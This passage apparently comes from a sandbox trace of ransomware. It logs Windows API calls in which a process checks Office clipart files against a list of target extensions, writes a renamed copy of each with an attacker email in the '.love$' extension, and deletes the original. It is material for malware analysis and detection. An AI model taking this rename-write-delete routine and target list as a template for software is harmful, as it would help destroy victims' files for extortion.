lstrlenW (lpString=".pdf") returned 4 [0260.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.782] lstrlenW (lpString=".xls") returned 4 [0260.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.782] lstrlenW (lpString=".xlsx") returned 5 [0260.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.782] lstrlenW (lpString=".ppt") returned 4 [0260.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.782] lstrlenW (lpString=".zip") returned 4 [0260.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.782] lstrlenW (lpString=".rar") returned 4 [0260.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.782] lstrlenW (lpString=".bz2") returned 4 [0260.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.782] lstrlenW (lpString=".7z") returned 3 [0260.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.782] lstrlenW (lpString=".dbf") returned 4 [0260.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.782] lstrlenW (lpString=".1cd") returned 4 [0260.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.782] lstrlenW (lpString=".jpg") returned 4 [0260.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.782] lstrlenW (lpString=".doc") returned 4 [0260.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.783] lstrlenW (lpString=".docx") returned 5 [0260.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.783] lstrlenW (lpString=".pdf") returned 4 [0260.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.783] lstrlenW (lpString=".xls") returned 4 [0260.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.783] lstrlenW (lpString=".xlsx") returned 5 [0260.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.783] lstrlenW (lpString=".ppt") returned 4 [0260.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.783] lstrlenW (lpString=".zip") returned 4 [0260.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.783] lstrlenW (lpString=".rar") returned 4 [0260.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.783] lstrlenW (lpString=".bz2") returned 4 [0260.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.783] lstrlenW (lpString=".7z") returned 3 [0260.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.783] lstrlenW (lpString=".dbf") returned 4 [0260.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.783] lstrlenW (lpString=".1cd") returned 4 [0260.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.784] lstrlenW (lpString=".jpg") returned 4 [0260.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.784] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.784] lstrlenW (lpString="HM00426_.WMF") returned 12 [0260.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0260.786] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=68776) returned 1 [0260.786] CloseHandle (hObject=0x56c) returned 1 [0260.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0260.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0260.825] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.826] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0260.833] GetLastError () returned 0x0 [0260.833] ReadFile (in: hFile=0x564, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0260.868] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0260.871] ReadFile (in: hFile=0x564, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.872] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.872] SetEndOfFile (hFile=0x57c) returned 1 [0260.872] CloseHandle (hObject=0x57c) returned 1 [0260.872] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.872] SetEndOfFile (hFile=0x564) returned 1 [0260.878] CloseHandle (hObject=0x564) returned 1 [0260.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0260.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.880] lstrlenW (lpString=".doc") returned 4 [0260.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.880] lstrlenW (lpString=".docx") returned 5 [0260.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.881] lstrlenW (lpString=".pdf") returned 4 [0260.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.881] lstrlenW (lpString=".xls") returned 4 [0260.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.881] lstrlenW (lpString=".xlsx") returned 5 [0260.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.881] lstrlenW (lpString=".ppt") returned 4 [0260.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.881] lstrlenW (lpString=".zip") returned 4 [0260.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.881] lstrlenW (lpString=".rar") returned 4 [0260.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.881] lstrlenW (lpString=".bz2") returned 4 [0260.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.881] lstrlenW (lpString=".7z") returned 3 [0260.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.881] lstrlenW (lpString=".dbf") returned 4 [0260.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.882] lstrlenW (lpString=".1cd") returned 4 [0260.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.882] lstrlenW (lpString=".jpg") returned 4 [0260.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.882] lstrlenW (lpString=".doc") returned 4 [0260.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.882] lstrlenW (lpString=".docx") returned 5 [0260.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.882] lstrlenW (lpString=".pdf") returned 4 [0260.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.882] lstrlenW (lpString=".xls") returned 4 [0260.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.882] lstrlenW (lpString=".xlsx") returned 5 [0260.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.882] lstrlenW (lpString=".ppt") returned 4 [0260.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.882] lstrlenW (lpString=".zip") returned 4 [0260.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.883] lstrlenW (lpString=".rar") returned 4 [0260.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.883] lstrlenW (lpString=".bz2") returned 4 [0260.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.883] lstrlenW (lpString=".7z") returned 3 [0260.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.883] lstrlenW (lpString=".dbf") returned 4 [0260.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.883] lstrlenW (lpString=".1cd") returned 4 [0260.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0260.883] lstrlenW (lpString=".jpg") returned 4 [0260.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.883] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.883] lstrlenW (lpString="IN00118_.WMF") returned 12 [0260.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0260.915] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=792) returned 1 [0260.915] CloseHandle (hObject=0x57c) returned 1 [0260.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220 [0260.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0260.916] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.916] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0260.918] GetLastError () returned 0x0 [0260.918] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x318, lpOverlapped=0x0) returned 1 [0260.922] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x320, lpOverlapped=0x0) returned 1 [0260.970] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.970] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.970] SetEndOfFile (hFile=0x580) returned 1 [0260.970] CloseHandle (hObject=0x580) returned 1 [0260.971] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.971] SetEndOfFile (hFile=0x57c) returned 1 [0260.975] CloseHandle (hObject=0x57c) returned 1 [0260.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0261.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.008] lstrlenW (lpString=".doc") returned 4 [0261.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.008] lstrlenW (lpString=".docx") returned 5 [0261.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.008] lstrlenW (lpString=".pdf") returned 4 [0261.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.008] lstrlenW (lpString=".xls") returned 4 [0261.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.008] lstrlenW (lpString=".xlsx") returned 5 [0261.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.009] lstrlenW (lpString=".ppt") returned 4 [0261.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.009] lstrlenW (lpString=".zip") returned 4 [0261.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.009] lstrlenW (lpString=".rar") returned 4 [0261.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.009] lstrlenW (lpString=".bz2") returned 4 [0261.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.009] lstrlenW (lpString=".7z") returned 3 [0261.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.009] lstrlenW (lpString=".dbf") returned 4 [0261.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.009] lstrlenW (lpString=".1cd") returned 4 [0261.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.009] lstrlenW (lpString=".jpg") returned 4 [0261.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.009] lstrlenW (lpString=".doc") returned 4 [0261.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.009] lstrlenW (lpString=".docx") returned 5 [0261.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.010] lstrlenW (lpString=".pdf") returned 4 [0261.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.010] lstrlenW (lpString=".xls") returned 4 [0261.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.010] lstrlenW (lpString=".xlsx") returned 5 [0261.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.010] lstrlenW (lpString=".ppt") returned 4 [0261.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.010] lstrlenW (lpString=".zip") returned 4 [0261.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.010] lstrlenW (lpString=".rar") returned 4 [0261.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.010] lstrlenW (lpString=".bz2") returned 4 [0261.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.010] lstrlenW (lpString=".7z") returned 3 [0261.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.010] lstrlenW (lpString=".dbf") returned 4 [0261.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.010] lstrlenW (lpString=".1cd") returned 4 [0261.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0261.010] lstrlenW (lpString=".jpg") returned 4 [0261.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.011] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.011] lstrlenW (lpString="IN00343_.WMF") returned 12 [0261.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0261.013] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1892) returned 1 [0261.013] CloseHandle (hObject=0x57c) returned 1 [0261.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220 [0261.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0261.014] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.014] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0261.016] GetLastError () returned 0x0 [0261.016] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x764, lpOverlapped=0x0) returned 1 [0261.027] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x770, lpOverlapped=0x0) returned 1 [0261.029] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.029] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.029] SetEndOfFile (hFile=0x580) returned 1 [0261.030] CloseHandle (hObject=0x580) returned 1 [0261.030] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.030] SetEndOfFile (hFile=0x57c) returned 1 [0261.063] CloseHandle (hObject=0x57c) returned 1 [0261.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0261.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.065] lstrlenW (lpString=".doc") returned 4 [0261.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.065] lstrlenW (lpString=".docx") returned 5 [0261.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.065] lstrlenW (lpString=".pdf") returned 4 [0261.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.065] lstrlenW (lpString=".xls") returned 4 [0261.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.065] lstrlenW (lpString=".xlsx") returned 5 [0261.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.065] lstrlenW (lpString=".ppt") returned 4 [0261.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.066] lstrlenW (lpString="C:\\Program 